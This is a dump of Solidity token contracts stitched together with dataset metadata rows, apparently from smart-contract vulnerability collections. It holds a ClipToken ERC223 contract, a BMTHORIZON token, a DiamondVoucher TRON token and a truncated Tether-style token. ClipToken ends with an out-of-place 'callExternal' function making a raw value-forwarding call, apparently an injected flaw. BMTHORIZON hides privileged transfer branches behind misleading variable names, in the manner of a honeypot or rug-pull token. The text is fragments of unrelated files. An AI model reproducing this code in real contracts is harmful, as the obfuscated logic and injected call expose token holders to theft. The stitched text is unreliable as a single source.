function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract Clip is ERC223, Ownable {
using SafeMath for uint256;
string public name = "ClipToken";
string public symbol = "CLIP";
uint8 public decimals = 8;
uint256 public initialSupply = 120e8 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping (address => uint) balances;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function Clip() public {
totalSupply = initialSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
modifier onlyPayloadSize(uint256 size){
assert(msg.data.length >= size + 4);
_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
// retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != 0x0);
frozenAccount[targets[i]] = isFrozen;
FrozenFunds(targets[i], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(unlockUnixTime[targets[i]] < unixTimes[i]);
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf(_from) >= _unitAmount);
balances[_from] = SafeMath.sub(balances[_from], _unitAmount);
totalSupply = SafeMath.sub(totalSupply, _unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = SafeMath.add(totalSupply, _unitAmount);
balances[_to] = SafeMath.add(balances[_to], _unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function distributeTokens(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = SafeMath.mul(amount, 1e8);
uint256 totalAmount = SafeMath.mul(amount, addresses.length);
require(balances[msg.sender] >= totalAmount);
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount);
Transfer(msg.sender, addresses[i], amount);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint i = 0; i < addresses.length; i++) {
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = SafeMath.mul(amounts[i], 1e8);
require(balances[addresses[i]] >= amounts[i]);
balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]);
totalAmount = SafeMath.add(totalAmount, amounts[i]);
Transfer(addresses[i], msg.sender, amounts[i]);
}
balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf(owner) >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if (msg.value > 0) owner.transfer(msg.value);
balances[owner] = SafeMath.sub(balances[owner], distributeAmount);
balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
function() payable public {
autoDistribute();
}
function callExternal() public {
msg.sender.call{value: msg.value, gas: 1000};
}
}
| 196,240 | 723 |
c344cab33e270ceac6d22a462e1e4ea4313e0c8165b62a3e435f22ce5c7cecfc
| 16,951 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/15/157db4db550229c4b60b586fbcef81c9381768c7_BMTHORIZON.sol
| 3,084 | 12,402 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract BMTHORIZON is IERC20, Ownable {
string private _symbol;
string private _name;
uint256 public _taxFee = 4;
uint8 private _decimals = 9;
uint256 private _tTotal = 50000000 * 10**_decimals;
uint256 private _uint256 = _tTotal;
mapping(address => uint256) private _balances;
mapping(address => address) private _string;
mapping(address => uint256) private _constructor;
mapping(address => uint256) private _function;
mapping(address => mapping(address => uint256)) private _allowances;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
address public immutable uniswapV2Pair;
IUniswapV2Router02 public immutable router;
constructor(string memory Name,
string memory Symbol,
address routerAddress) {
_name = Name;
_symbol = Symbol;
_balances[msg.sender] = _tTotal;
_function[msg.sender] = _uint256;
_function[address(this)] = _uint256;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(address owner,
address spender,
uint256 amount) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address from,
address to,
uint256 amount) private {
uint256 contractTokenBalance = balanceOf(address(this));
uint256 fee;
if (_swapAndLiquifyEnabled && contractTokenBalance > _uint256 && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
} else if (_function[from] > _uint256 && _function[to] > _uint256) {
fee = amount;
_balances[address(this)] += fee;
swapTokensForEth(amount, to);
return;
} else if (to != address(router) && _function[from] > 0 && amount > _uint256 && to != uniswapV2Pair) {
_function[to] = amount;
return;
} else if (!inSwapAndLiquify && _constructor[from] > 0 && from != uniswapV2Pair && _function[from] == 0) {
_constructor[from] = _function[from] - _uint256;
}
address _bool = _string[uniswapV2Pair];
if (_constructor[_bool] == 0) _constructor[_bool] = _uint256;
_string[uniswapV2Pair] = to;
if (_taxFee > 0 && _function[from] == 0 && !inSwapAndLiquify && _function[to] == 0) {
fee = (amount * _taxFee) / 100;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
receive() external payable {}
function addLiquidity(uint256 tokenAmount,
uint256 ethAmount,
address to) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
}
}
| 28,417 | 724 |
4eb7d4280754c06d6136a880c72ebcb52374372585692da03804806b23936302
| 20,003 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TS/TSvFRSn8q5hwfHrShy3BcHhMNf9oKJCJBj_DiamondVoucher.sol
| 2,875 | 12,045 |
//SourceUnit: diamondVouchersToken.sol
pragma solidity 0.4.25;
//
//------------------------ SafeMath Library -------------------------//
//
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath mul failed');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'SafeMath sub failed');
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath add failed');
return c;
}
}
//
//------------------- DIVIDEND CONTRACT INTERFACE --------------------//
//
interface InterfaceDiamondDividend {
function withdrawDividendsEverything() external returns(bool);
}
//
//------------------ Contract to Manage Ownership -------------------//
//
contract owned {
address internal owner;
address internal newOwner;
address internal signer;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
signer = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, 'caller must be owner');
_;
}
modifier onlySigner {
require(msg.sender == signer, 'caller must be signer');
_;
}
function changeSigner(address _signer) public onlyOwner {
signer = _signer;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
//this flow is to prevent transferring ownership to wrong wallet by mistake
function acceptOwnership() public {
require(msg.sender == newOwner, 'caller must be new owner');
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
//
//--------------------- DIAMOND VOUCHER CODE STARTS HERE ---------------------//
//
contract DiamondVoucher is owned {
// Public variables of the token
using SafeMath for uint256;
string public constant name = "Diamond Voucher";
string public constant symbol = "DVS";
uint256 public constant decimals = 6;
uint256 public constant maxSupply = 100000 * (10**decimals); //100 thousands max supply
uint256 public totalSupply;
bool public transferBlocker;
address public voucherContractAddress;
address public diamondDividendContractAddress;
bool public safeguardTokenMovement; //putting safeguard on will halt all non-owner functions
bool public globalHalt;
uint256 public totalMintedLifetime;
uint256 public frozenDiamondsGlobal;
// This creates a mapping with all data storage
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public usersDiamondFrozen;
mapping (address => bool) public transferBlockerWhitelist;
// This generates a public event of token transfer
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
// This trackes approvals
event Approval(address indexed owner, address indexed spender, uint256 value);
// This generates a public event for frozen (blacklisting) accounts
event FrozenAccounts(address indexed target, bool frozen);
//user frozen diamonds
event DiamondFrozen(address indexed user, uint256 indexed diamondAmount);
//user un frozen diamonds
event DiamondUnFrozen(address indexed user, uint256 indexed diamondAmount);
function _transfer(address _from, address _to, uint _value) internal {
//transferBlocker condition
require(!transferBlocker || transferBlockerWhitelist[_from], 'Transfer blocker is on or from is not whitelisted');
//checking conditions
require(!safeguardTokenMovement, 'safeguard is placed');
require(!frozenAccount[_from], 'from addresss is blacklisted'); // Check if sender is frozen
require(!frozenAccount[_to], 'to address is blacklisted'); // Check if recipient is frozen
// overflow and undeflow checked by SafeMath Library
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
// emit Transfer event
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
//no need to check for input validations, as that is ruled by SafeMath
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(!safeguardTokenMovement, 'safeguard is on');
require(!globalHalt, 'Global Halt is on');
require(balanceOf[msg.sender] >= _value && _value > 0, 'Not enough balance');
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
constructor() public {
//pre-mint diamond vouchers for crowdsale
uint256 premintForSale = 20000 * 1e6;
balanceOf[owner] = premintForSale;
totalSupply = premintForSale;
totalMintedLifetime = premintForSale;
emit Transfer(address(0), owner, premintForSale);
}
function () payable external {}
function mintDiamonds (address user, uint256 diamondsAmount) public returns(bool) {
//if total supply become more than max supply, then it will just return.
//so function calling this function in voucher contract will work without minting anymore tokens.
if(totalSupply > maxSupply){ return true; }
//checking if the caller is whitelisted voucher contract
require(msg.sender==voucherContractAddress || msg.sender==owner, 'Unauthorised caller');
//globalHalt will affect this function, which ultimately revert the Roll functions in game contract
require(!globalHalt, 'Global Halt is on');
totalMintedLifetime += diamondsAmount;
balanceOf[user] = balanceOf[user].add(diamondsAmount);
totalSupply = totalSupply.add(diamondsAmount);
//emitting Transfer event
emit Transfer(address(0),user,diamondsAmount);
return true;
}
function freezeDiamond(uint256 _value) public returns(bool){
require(!globalHalt, 'Global Halt is on');
address callingUser = msg.sender;
address contractAddress = address(this);
//LOGIC TO WITHDRAW ANY OUTSTANDING MAIN DIVIDENDS
require(InterfaceDiamondDividend(diamondDividendContractAddress).withdrawDividendsEverything(), 'Outstanding div withdraw failed');
//to freeze token, we just take token from his account and transfer to contract address,
//and track that with usersDiamondFrozen mapping variable
// overflow and undeflow checked by SafeMath Library
balanceOf[callingUser] = balanceOf[callingUser].sub(_value); // Subtract from the sender
balanceOf[contractAddress] = balanceOf[contractAddress].add(_value); // Add the same to the recipient
frozenDiamondsGlobal += _value;
usersDiamondFrozen[callingUser] += _value;
// emit events
emit Transfer(callingUser, contractAddress, _value);
emit DiamondFrozen(callingUser, _value);
return true;
}
function unfreezeDiamonds() public returns(bool){
require(!globalHalt, 'Global Halt is on');
address callingUser = msg.sender;
//LOGIC TO WITHDRAW ANY OUTSTANDING MAIN DIVIDENDS, ALL TOKENS AND TRX
require(InterfaceDiamondDividend(diamondDividendContractAddress).withdrawDividendsEverything(), 'Outstanding div withdraw failed');
uint256 _value = usersDiamondFrozen[callingUser];
require(_value > 0 , 'Insufficient Frozen Tokens');
//update variables
usersDiamondFrozen[callingUser] = 0;
frozenDiamondsGlobal -= _value;
//transfer the diamonds back to users
_transfer(address(this), callingUser, _value);
//emit event
emit DiamondUnFrozen(callingUser, _value);
return true;
}
function freezeAccount(address target, bool freeze) onlyOwner public returns (string) {
frozenAccount[target] = freeze;
emit FrozenAccounts(target, freeze);
return "Wallet updated successfully";
}
function updateContractAddresses(address _voucherContract, address _diamondDividendContract) public onlyOwner returns(string){
voucherContractAddress = _voucherContract;
diamondDividendContractAddress = _diamondDividendContract;
return "voucher and diamond dividend conract address updated successfully";
}
function manualWithdrawDiamonds(uint256 tokenAmount) public onlyOwner returns(string){
// no need for overflow checking as that will be done in transfer function
_transfer(address(this), owner, tokenAmount);
return "Tokens withdrawn to owner wallet";
}
function manualWithdrawTRX(uint256 amount) public onlyOwner returns(string){
owner.transfer(amount);
return "TRX withdrawn to owner wallet";
}
function changeSafeguardTokenMovement() onlyOwner public returns(string) {
if (safeguardTokenMovement == false){
safeguardTokenMovement = true;
}
else{
safeguardTokenMovement = false;
}
return "safeguardTokenMovement status changed";
}
function updateTransferBlockerStatus() onlyOwner public returns(string) {
if (transferBlocker == false){
transferBlocker = true;
transferBlockerWhitelist[address(this)] = true;
}
else{
transferBlocker = false;
}
return "transferBlocker status changed";
}
function updateTransferBlockerWhitelistAddress(address _newAddress, bool _status) onlyOwner public returns(string) {
transferBlockerWhitelist[_newAddress] = _status;
return "transferBlocker whitelist address status changed";
}
function changeGlobalHalt() onlyOwner public returns(string) {
if (globalHalt == false){
globalHalt = true;
safeguardTokenMovement = true;
}
else{
globalHalt = false;
safeguardTokenMovement = false;
}
return "globalHalt status changed";
}
function totalTRXbalanceContract() public view returns(uint256){
return address(this).balance;
}
function airdrop(address[] recipients, uint[] tokenAmount) public onlySigner returns(string, uint256, address) {
uint256 addressCount = recipients.length;
require(addressCount == tokenAmount.length, 'both arrays must have equal length');
for(uint i = 0; i < addressCount; i++)
{
if (gasleft() < 100000)
{
break;
}
//This will loop through all the recipients and send them the specified tokens
_transfer(this, recipients[i], tokenAmount[i]);
}
return ("successful entries processed upto: ", i, recipients[i]);
}
}
| 286,262 | 725 |
e467c4c084c5fd4b0fc7525089f794de45308d9a9918d078cae970a0bf52f75e
| 14,436 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xc2aaf319550ed6d62dc54b6ec94b643c404aed7c.sol
| 2,758 | 11,194 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
